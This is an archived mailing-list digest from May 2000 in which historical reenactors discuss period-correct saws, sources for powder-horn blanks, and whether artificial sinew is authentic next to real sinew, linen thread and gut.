>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html

Use it up, wear it out, make do, or do without.
John Kramer  <[e-mail]>
--=====================_337304006==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3>Bobbie,<br>
<br>
There are several styles of saw correct to the period.  <br>
<br>
What is it you want to cut?  Metal, wood, bone?  Fine work or
coarse?<br>
<br>
John...<br>
<br>
<br>
At 10:10 AM 5/8/00 -0600, you wrote:<br>
<blockquote type=cite cite>   I'm finding myself needing a saw
of some sort, and wondering..... I<br>
don't suppose there would be anything like a small folding saw that
would<br>
be period correct, would there?<br>
<br>
       Bobbie<br>
<br>
----------------------<br>
hist_text list info:
<a href="http://www.xmission.com/~drudy/mtman/maillist.html" eudora="autourl">http://www.xmission.com/~drudy/mtman/maillist.html</a></font></blockquote><br>
<div>Use it up, wear it out, make do, or do without.</div>
John Kramer  <[e-mail]>
</html>

--=====================_337304006==_.ALT--


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From: [e-mail]
Subject: Re: MtMan-List: Fw: Question
Date: 08 May 2000 19:42:32 EDT

Bows:  Charlie Acuna, POB 1681, Taos, NM  [phone].   Very beautiful
work.  Also does some mighty fine knapping. Hope this helps,  Barney

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From: "northwoods" <[e-mail]>
Subject: MtMan-List: raw horns
Date: 08 May 2000 19:39:12 -0500

Can anyone tell me where to get good quality horns for making powder horns
with scrimshaw?

Thanks,
northwoods


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From: [e-mail]
Subject: Re: MtMan-List: saw
Date: 09 May 2000 01:11:44 -0700

have a small bow saw made of oak that would be period correct---easy to
make--use a piece of wire to tighten or a bit of artificial senue---easy
to make and take apart for carrying---I have mine made into a meat saw
and a hack saw size works great could trace it and give you aome
dimentions if you needed them---

YMHOSANT
=+=
HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce
On Mon, 08 May 2000 10:10:30 -0600 Bobbie <[e-mail]> writes:
>    I'm finding myself needing a saw of some sort, and wondering.....
> I
> don't suppose there would be anything like a small folding saw that
> would
> be period correct, would there?
>
>        Bobbie
>
> ----------------------
> hist_text list info:
> http://www.xmission.com/~drudy/mtman/maillist.html

________________________________________________________________
YOU'RE PAYING TOO MUCH FOR THE INTERNET!
Juno now offers FREE Internet Access!
Try it today - there's no risk!  For your FREE software, visit:
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-------------------------------------------------------------------------------

From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List: saw
Date: 09 May 2000 06:03:06 -0400

Hawk,
 Gads Son! Can't be period correct if you use artificial sinew.. Didn't you
know that that stuff comes from those naug critters??
D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



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From: Mike Moore <[e-mail]>
Subject: Re: MtMan-List: saw
Date: 09 May 2000 01:32:30 -0600

Dennis,
    You are so right! Many, many of us reenactors are under the misunder-
standing that using artifical sinew makes something authenic. It is a good
replacement- strong, light weight and easy to use, but not correct. I have
been using linen thread and real sinew for the latest projects of mine and
been happy with them. Some how, we have accepted that use of this
"sinew" is correct. Maybe it is time to rethink this.
                                                    mike.

D Miles wrote:

> Hawk,
>  Gads Son! Can't be period correct if you use artificial sinew.. Didn't you
> know that that stuff comes from those naug critters??
> D
>
> "Abair ach beagan is abair gu math e"
>           DOUBLE EDGE FORGE
>   Period Knives & Iron Accoutrements
>    http://www.bright.net/~deforge1
>   "Knowing how is just the beginning"
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List: saw
Date: 09 May 2000 09:27:44 -0400

What people have to remember, is the "ARTIFICIAL" in artificial sinew.. It
is nothing more than waxed NYLON thread.
D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



----------------------
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From: "D Miles" <[e-mail]>
Subject: MtMan-List: Artificial Sinew (was saws)
Date: 09 May 2000 09:31:32 -0400

This is a multi-part message in MIME format.

------=_NextPart_000_0047_01BFB999.5CD71E80
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Boy, I am on a roll now...
 I also see way to many sutlers out there that sell FANTASTIC authentic, =
documented items in various forms.All high quality.... But for some =
reason, allot of them also list "artificial sinew" on their trade =
lists.....GO figger...
D


"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"


------=_NextPart_000_0047_01BFB999.5CD71E80
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Boy, I am on a roll now...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2> I also see way to many sutlers =
out there that=20
sell FANTASTIC authentic, documented items in various forms.All high =
quality....=20
But for some reason, allot of them also list "artificial sinew" on their =
trade=20
lists.....GO figger...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>D</FONT></DIV>
<DIV> </DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>"Abair ach beagan is abair gu math=20
e"<BR>          DOUBLE EDGE =

FORGE<BR>  Period Knives & Iron Accoutrements<BR>   =
<A=20
href=3D"http://www.bright.net/~deforge1">http://www.bright.net/~deforge1<=
/A><BR> =20
"Knowing how is just the beginning"<BR></FONT></DIV></BODY></HTML>

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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 09 May 2000 08:50:32 -0600

This is a multi-part message in MIME format.

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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I was watching that antiques roadshow program one time and a guy brought =
in an Indian arrow quiver. It really looked nice and he was sure he had =
a pot of money. But the antique guy showed him that it was factory =
tanned leather, sewed with artificial sinew, which he explained was a =
hi-tech modern product. You could see the guy just wither. But it =
brought to mind a couple of questions. In true survival situations, =
would you be able to obtain enough sinew to take care of whatever it =
might be that you'd need it for? Since sinew is typically 12" long or =
less, and splicing it is tricky at best, would you carry 15 feet or so =
in your possibles pouch, or rather, perhaps, a small coil of artificial =
sinew which is infinitely long? Historical authenticity is great and a =
fine goal, but what if your life (or in some cases, your budget) =
depended on it?
Bill C
    -----Original Message-----
    From: D Miles <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Tuesday, May 09, 2000 7:32 AM
    Subject: MtMan-List: Artificial Sinew (was saws)
   =20
   =20
    Boy, I am on a roll now...
     I also see way to many sutlers out there that sell FANTASTIC =
authentic, documented items in various forms.All high quality.... But =
for some reason, allot of them also list "artificial sinew" on their =
trade lists.....GO figger...
    D
   =20
   =20
    "Abair ach beagan is abair gu math e"
              DOUBLE EDGE FORGE
      Period Knives & Iron Accoutrements
       http://www.bright.net/~deforge1
      "Knowing how is just the beginning"


------=_NextPart_000_0011_01BFB993.A26DD020
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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 =
Transitional//EN">
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
<STYLE></STYLE>

</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>I was watching that antiques =
roadshow program=20
one time and a guy brought in an Indian arrow quiver. It really looked =
nice and=20
he was sure he had a pot of money. But the antique guy showed him that =
it was=20
factory tanned leather, sewed with artificial sinew, which he explained =
was a=20
hi-tech modern product. You could see the guy just wither. But it =
brought to=20
mind a couple of questions. In true survival situations, would you be =
able to=20
obtain enough sinew to take care of whatever it might be that you'd need =
it for?=20
Since sinew is typically 12" long or less, and splicing it is =
tricky at=20
best, would you carry 15 feet or so in your possibles pouch, or rather, =
perhaps,=20
a small coil of artificial sinew which is infinitely long? Historical=20
authenticity is great and a fine goal, but what if your life (or in some =
cases,=20
your budget) depended on it?</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>Bill =
C</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>D Miles <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>To:=
=20
    </B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Tuesday, May 09, 2000 7:32 AM<BR><B>Subject: </B>MtMan-List: =
Artificial=20
    Sinew (was saws)<BR><BR></DIV></FONT>
    <DIV><FONT face=3DArial size=3D2>Boy, I am on a roll =
now...</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2> I also see way to many =
sutlers out there=20
    that sell FANTASTIC authentic, documented items in various forms.All =
high=20
    quality.... But for some reason, allot of them also list =
"artificial=20
    sinew" on their trade lists.....GO figger...</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2>D</FONT></DIV>
    <DIV> </DIV>
    <DIV> </DIV>
    <DIV><FONT face=3DArial size=3D2>"Abair ach beagan is abair gu =
math=20
    e"<BR>          =
DOUBLE=20
    EDGE FORGE<BR>  Period Knives & Iron =
Accoutrements<BR>  =20
    <A=20
    =
href=3D"http://www.bright.net/~deforge1">http://www.bright.net/~deforge1<=
/A><BR> =20
    "Knowing how is just the=20
beginning"<BR></FONT></DIV></BLOCKQUOTE></BODY></HTML>

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-------------------------------------------------------------------------------

From: Bobbie <[e-mail]>
Subject: MtMan-List: Saws.. Thanks!
Date: 09 May 2000 09:11:04 -0600

   Thanks for all the terrific replies on saws.  It's going to take me a
while to digest all of this, and I will be looking up some of the
suggestions.  I do appreciate all the info.  I hope it's ok if I get back
to some of you privately about some of your suggestions that I may have
questions on.

    On a different note, I fletched my first arrows yesterday, and on a
high from that.  This is a skill that will take lots of practice, but I'm
pleased with the results.

       Thanks again!!

           Bobbie, off to look for turkey feathers......  ^_^

----------------------
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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: saw
Date: 09 May 2000 10:57:14 -0700

list please forgive me for my transgression---on the A _ _ _ _ _ _ _ _ l
Senu line---

HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

________________________________________________________________
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Juno now offers FREE Internet Access!
Try it today - there's no risk!  For your FREE software, visit:
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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: saw
Date: 09 May 2000 10:37:17 -0700

D
 slap my hands and scuff my toe---ment to say senue or a leather whang I
am sure---must have been my medication that forced me to do such a
gramerical slip of words and such---please note that I will punish myself
this eve by reducing the amoutn of libation that i will intake to atone
for my sin and quickness to  response---therefore the chastizement is and
will be noted in the record book of life in the area of transgressions of
words and text

I know how difficult it is to trap them darn noggies and then to skin
them out and get that stuff for plastic buckskinners to utilize in their
undercover mode---saw a bunch of them on the beach last week ----the pink
noggies with the small little cloth coverings that are best left off
because of lack of area covered..


again please foregive my transgressions
YMHOSANT
  =+=
HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

________________________________________________________________
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From: "Larry Huber" <[e-mail]>
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 09 May 2000 08:36:34 -0700

This is a multi-part message in MIME format.

------=_NextPart_000_0042_01BFB991.AEA66480
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    charset="iso-8859-1"
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If survival is your only goal, rip-stop nylon, gor-tex, stainless steel =
, down sleeping bags and high-impact light-weight plastic are the way to =
go.  Most Mountain supply stores carry this stuff.  If your interest =
lies elsewhere, linen thread packs as well as anything artifical and =
sinew is free, it comes off the animal you shot.  Regular animal gut =
could be used for a saw bow winch.
  ----- Original Message -----=20
  From: Bill Cunningham=20
  To: [e-mail]=20
  Sent: Tuesday, May 09, 2000 7:50 AM
  Subject: Re: MtMan-List: Artificial Sinew (was saws)


  I was watching that antiques roadshow program one time and a guy =
brought in an Indian arrow quiver. It really looked nice and he was sure =
he had a pot of money. But the antique guy showed him that it was =
factory tanned leather, sewed with artificial sinew, which he explained =
was a hi-tech modern product. You could see the guy just wither. But it =
brought to mind a couple of questions. In true survival situations, =
would you be able to obtain enough sinew to take care of whatever it =
might be that you'd need it for? Since sinew is typically 12" long or =
less, and splicing it is tricky at best, would you carry 15 feet or so =
in your possibles pouch, or rather, perhaps, a small coil of artificial =
sinew which is infinitely long? Historical authenticity is great and a =
fine goal, but what if your life (or in some cases, your budget) =
depended on it?
  Bill C
    -----Original Message-----
    From: D Miles <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Tuesday, May 09, 2000 7:32 AM
    Subject: MtMan-List: Artificial Sinew (was saws)


    Boy, I am on a roll now...
     I also see way to many sutlers out there that sell FANTASTIC =
authentic, documented items in various forms.All high quality.... But =
for some reason, allot of them also list "artificial sinew" on their =
trade lists.....GO figger...
    D


    "Abair ach beagan is abair gu math e"
              DOUBLE EDGE FORGE
      Period Knives & Iron Accoutrements
       http://www.bright.net/~deforge1
      "Knowing how is just the beginning"


------=_NextPart_000_0042_01BFB991.AEA66480
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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 =
Transitional//EN">
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>If survival is your only goal, rip-stop =
nylon,=20
gor-tex, stainless steel , down sleeping bags and high-impact =
light-weight=20
plastic are the way to go.  Most Mountain supply stores carry this=20
stuff.  If your interest lies elsewhere, linen thread packs as well =
as=20
anything artifical and sinew is free, it comes off the animal you =
shot. =20
Regular animal gut could be used for a saw bow winch.</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:[e-mail]" =
title=[e-mail]>Bill=20
  Cunningham</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:[e-mail]"=20
  title=[e-mail]>[e-mail]</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, May 09, 2000 =
7:50 AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: MtMan-List: =
Artificial Sinew=20
  (was saws)</DIV>
  <DIV><BR></DIV>
  <DIV><FONT color=3D#000000 size=3D2>I was watching that antiques =
roadshow program=20
  one time and a guy brought in an Indian arrow quiver. It really looked =
nice=20
  and he was sure he had a pot of money. But the antique guy showed him =
that it=20
  was factory tanned leather, sewed with artificial sinew, which he =
explained=20
  was a hi-tech modern product. You could see the guy just wither. But =
it=20
  brought to mind a couple of questions. In true survival situations, =
would you=20
  be able to obtain enough sinew to take care of whatever it might be =
that you'd=20
  need it for? Since sinew is typically 12" long or less, and splicing =
it is=20
  tricky at best, would you carry 15 feet or so in your possibles pouch, =
or=20
  rather, perhaps, a small coil of artificial sinew which is infinitely =
long?=20
  Historical authenticity is great and a fine goal, but what if your =
life (or in=20
  some cases, your budget) depended on it?</FONT></DIV>
  <DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>Bill =
C</FONT></DIV>
  <BLOCKQUOTE=20
  style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; =
PADDING-LEFT: 5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>D Miles <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>To:=
=20
    </B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Tuesday, May 09, 2000 7:32 AM<BR><B>Subject: </B>MtMan-List: =
Artificial=20
    Sinew (was saws)<BR><BR></DIV></FONT>
    <DIV><FONT face=3DArial size=3D2>Boy, I am on a roll =
now...</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2> I also see way to many =
sutlers out there=20
    that sell FANTASTIC authentic, documented items in various forms.All =
high=20
    quality.... But for some reason, allot of them also list "artificial =
sinew"=20
    on their trade lists.....GO figger...</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2>D</FONT></DIV>
    <DIV> </DIV>
    <DIV> </DIV>
    <DIV><FONT face=3DArial size=3D2>"Abair ach beagan is abair gu math=20
    e"<BR>          DOUBLE =
EDGE=20
    FORGE<BR>  Period Knives & Iron =
Accoutrements<BR>   <A=20
    =
href=3D"http://www.bright.net/~deforge1">http://www.bright.net/~deforge1<=
/A><BR> =20
    "Knowing how is just the=20
beginning"<BR></FONT></DIV></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

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-------------------------------------------------------------------------------

From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List: saw
Date: 09 May 2000 12:07:32 -0400

Hawk,
 Please Sir, do not lessen your libation ration on my account.. But for true
atonement, you should send me a portion of that ration...Then true atonement
will be fulfilled and you shall be absolved completely of your transgression
and be allowed in the portion of Heaven reserved for such folks as Glass,
'Ol Gabe & such fella's that led the way...
D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



----------------------
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-------------------------------------------------------------------------------

From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 09 May 2000 11:20:17 -0600

This is a multi-part message in MIME format.

------=_NextPart_000_001B_01BFB9A8.8DF744E0
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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I have tried the linen thread - in various weights. The smaller stuff =
failed, but some stuff I got from a shoe repair shop worked well. The =
only problem I have had with it is that over time it does tend to rot, =
especially if used to patch a moccasin. I have never tried animal gut. =
Great suggestion and one I will follow up on. I shouldn't imagine it =
would have too much stretch. I once read of someone soaking a leather =
whang in blood, rolling it in the sand to catch particles, letting it =
dry somewhat and then using it as a sort of saw. Without further =
instructions I tried it. It worked - to a degree, but I had to keep =
making new "saws" because, at least the way I did it, they don't last =
long.
    -----Original Message-----
    From: Larry Huber <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Tuesday, May 09, 2000 9:31 AM
    Subject: Re: MtMan-List: Artificial Sinew (was saws)
   =20
   =20
    If survival is your only goal, rip-stop nylon, gor-tex, stainless =
steel , down sleeping bags and high-impact light-weight plastic are the =
way to go.  Most Mountain supply stores carry this stuff.  If your =
interest lies elsewhere, linen thread packs as well as anything =
artifical and sinew is free, it comes off the animal you shot.  Regular =
animal gut could be used for a saw bow winch.
        ----- Original Message -----=20
        From: Bill Cunningham=20
        To: [e-mail]=20
        Sent: Tuesday, May 09, 2000 7:50 AM
        Subject: Re: MtMan-List: Artificial Sinew (was saws)
       =20
       =20
        I was watching that antiques roadshow program one time and a guy =
brought in an Indian arrow quiver. It really looked nice and he was sure =
he had a pot of money. But the antique guy showed him that it was =
factory tanned leather, sewed with artificial sinew, which he explained =
was a hi-tech modern product. You could see the guy just wither. But it =
brought to mind a couple of questions. In true survival situations, =
would you be able to obtain enough sinew to take care of whatever it =
might be that you'd need it for? Since sinew is typically 12" long or =
less, and splicing it is tricky at best, would you carry 15 feet or so =
in your possibles pouch, or rather, perhaps, a small coil of artificial =
sinew which is infinitely long? Historical authenticity is great and a =
fine goal, but what if your life (or in some cases, your budget) =
depended on it?
        Bill C
            -----Original Message-----
            From: D Miles <[e-mail]>
            To: [e-mail] =
<[e-mail]>
            Date: Tuesday, May 09, 2000 7:32 AM
            Subject: MtMan-List: Artificial Sinew (was saws)
           =20
           =20
            Boy, I am on a roll now...
             I also see way to many sutlers out there that sell =
FANTASTIC authentic, documented items in various forms.All high =
quality.... But for some reason, allot of them also list "artificial =
sinew" on their trade lists.....GO figger...
            D
           =20
           =20
            "Abair ach beagan is abair gu math e"
                      DOUBLE EDGE FORGE
              Period Knives & Iron Accoutrements
               http://www.bright.net/~deforge1
              "Knowing how is just the beginning"


------=_NextPart_000_001B_01BFB9A8.8DF744E0
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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 =
Transitional//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 =
Transitional//EN">
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
<STYLE></STYLE>

</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>I have tried the linen thread - in =
various=20
weights. The smaller stuff failed, but some stuff I got from a shoe =
repair shop=20
worked well. The only problem I have had with it is that over time it =
does tend=20
to rot, especially if used to patch a moccasin. I have never tried =
animal gut.=20
Great suggestion and one I will follow up on. I shouldn't imagine it =
would have=20
too much stretch. I once read of someone soaking a leather whang in =
blood,=20
rolling it in the sand to catch particles, letting it dry somewhat and =
then=20
using it as a sort of saw. Without further instructions I tried it. It =
worked -=20
to a degree, but I had to keep making new "saws" because, at =
least the=20
way I did it, they don't last long.</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>Larry Huber <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]</A>&g=
t;<BR><B>To:=20
    </B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Tuesday, May 09, 2000 9:31 AM<BR><B>Subject: </B>Re: MtMan-List: =

    Artificial Sinew (was saws)<BR><BR></DIV></FONT>
    <DIV><FONT face=3DArial size=3D2>If survival is your only goal, =
rip-stop nylon,=20
    gor-tex, stainless steel , down sleeping bags and high-impact =
light-weight=20
    plastic are the way to go.  Most Mountain supply stores carry =
this=20
    stuff.  If your interest lies elsewhere, linen thread packs as =
well as=20
    anything artifical and sinew is free, it comes off the animal you=20
    shot.  Regular animal gut could be used for a saw bow=20
    winch.</FONT></DIV>
    <BLOCKQUOTE=20
    style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; =
MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
        <DIV style=3D"FONT: 10pt arial">----- Original Message ----- =
</DIV>
        <DIV=20
        style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
        <A href=3D"mailto:[e-mail]" =
title=[e-mail]>Bill=20
        Cunningham</A> </DIV>
        <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
        href=3D"mailto:[e-mail]"=20
        =
title=[e-mail]>[e-mail]</A>=20
        </DIV>
        <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, May 09, =
2000 7:50=20
        AM</DIV>
        <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: MtMan-List: =
Artificial=20
        Sinew (was saws)</DIV>
        <DIV><BR></DIV>
        <DIV><FONT color=3D#000000 size=3D2>I was watching that antiques =
roadshow=20
        program one time and a guy brought in an Indian arrow quiver. It =
really=20
        looked nice and he was sure he had a pot of money. But the =
antique guy=20
        showed him that it was factory tanned leather, sewed with =
artificial=20
        sinew, which he explained was a hi-tech modern product. You =
could see=20
        the guy just wither. But it brought to mind a couple of =
questions. In=20
        true survival situations, would you be able to obtain enough =
sinew to=20
        take care of whatever it might be that you'd need it for? Since =
sinew is=20
        typically 12" long or less, and splicing it is tricky at =
best,=20
        would you carry 15 feet or so in your possibles pouch, or =
rather,=20
        perhaps, a small coil of artificial sinew which is infinitely =
long?=20
        Historical authenticity is great and a fine goal, but what if =
your life=20
        (or in some cases, your budget) depended on it?</FONT></DIV>
        <DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>Bill =
C</FONT></DIV>
        <BLOCKQUOTE=20
        style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; =
PADDING-LEFT: 5px">
            <DIV><FONT face=3DArial size=3D2><B>-----Original=20
            Message-----</B><BR><B>From: </B>D Miles <<A=20
            =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>To:=
=20
            </B><A=20
            =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
            <<A=20
            =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
            </B>Tuesday, May 09, 2000 7:32 AM<BR><B>Subject: =
</B>MtMan-List:=20
            Artificial Sinew (was saws)<BR><BR></DIV></FONT>
            <DIV><FONT face=3DArial size=3D2>Boy, I am on a roll =
now...</FONT></DIV>
            <DIV><FONT face=3DArial size=3D2> I also see way to =
many sutlers=20
            out there that sell FANTASTIC authentic, documented items in =
various=20
            forms.All high quality.... But for some reason, allot of =
them also=20
            list "artificial sinew" on their trade =
lists.....GO=20
            figger...</FONT></DIV>
            <DIV><FONT face=3DArial size=3D2>D</FONT></DIV>
            <DIV> </DIV>
            <DIV> </DIV>
            <DIV><FONT face=3DArial size=3D2>"Abair ach beagan is =
abair gu math=20
            =
e"<BR>         =20
            DOUBLE EDGE FORGE<BR>  Period Knives & Iron=20
            Accoutrements<BR>   <A=20
            =
href=3D"http://www.bright.net/~deforge1">http://www.bright.net/~deforge1<=
/A><BR> =20
            "Knowing how is just the=20
        =
beginning"<BR></FONT></DIV></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></=
BODY></HTML>

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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 09 May 2000 11:26:22 -0600

This is a multi-part message in MIME format.

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Along with learning the early mountain man survival skills (early on we =
decided to eschew modern equipment for survival) I once made a bedroll =
from cat tail leaves, reeds, and milk weed. It works, but you'd better =
be a strong sleeper - it tended to leak cold air in and was a trifle =
noisy. Like down (available for as long as there have been geese) it is =
prone to failure when it gets wet. Plastic, under extreme cold, tends to =
fracture under stress. I have never had a wood pack frame or a nice =
leather or linen haversack do that. I have, in my youth when more of =
them were available, seen hand forged axes shatter under normal use in =
the very cold winter months.=20
    -----Original Message-----
    From: Larry Huber <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Tuesday, May 09, 2000 9:31 AM
    Subject: Re: MtMan-List: Artificial Sinew (was saws)
   =20
   =20
    If survival is your only goal, rip-stop nylon, gor-tex, stainless =
steel , down sleeping bags and high-impact light-weight plastic are the =
way to go.  Most Mountain supply stores carry this stuff.  If your =
interest lies elsewhere, linen thread packs as well as anything =
artifical and sinew is free, it comes off the animal you shot.  Regular =
animal gut could be used for a saw bow winch.
        ----- Original Message -----=20
        From: Bill Cunningham=20
        To: [e-mail]=20
        Sent: Tuesday, May 09, 2000 7:50 AM
        Subject: Re: MtMan-List: Artificial Sinew (was saws)
       =20
       =20
        I was watching that antiques roadshow program one time and a guy =
brought in an Indian arrow quiver. It really looked nice and he was sure =
he had a pot of money. But the antique guy showed him that it was =
factory tanned leather, sewed with artificial sinew, which he explained =
was a hi-tech modern product. You could see the guy just wither. But it =
brought to mind a couple of questions. In true survival situations, =
would you be able to obtain enough sinew to take care of whatever it =
might be that you'd need it for? Since sinew is typically 12" long or =
less, and splicing it is tricky at best, would you carry 15 feet or so =
in your possibles pouch, or rather, perhaps, a small coil of artificial =
sinew which is infinitely long? Historical authenticity is great and a =
fine goal, but what if your life (or in some cases, your budget) =
depended on it?
        Bill C
            -----Original Message-----
            From: D Miles <[e-mail]>
            To: [e-mail] =
<[e-mail]>
            Date: Tuesday, May 09, 2000 7:32 AM
            Subject: MtMan-List: Artificial Sinew (was saws)
           =20
           =20
            Boy, I am on a roll now...
             I also see way to many sutlers out there that sell =
FANTASTIC authentic, documented items in various forms.All high =
quality.... But for some reason, allot of them also list "artificial =
sinew" on their trade lists.....GO figger...
            D
           =20
           =20
            "Abair ach beagan is abair gu math e"
                      DOUBLE EDGE FORGE
              Period Knives & Iron Accoutrements
               http://www.bright.net/~deforge1
              "Knowing how is just the beginning"


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<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

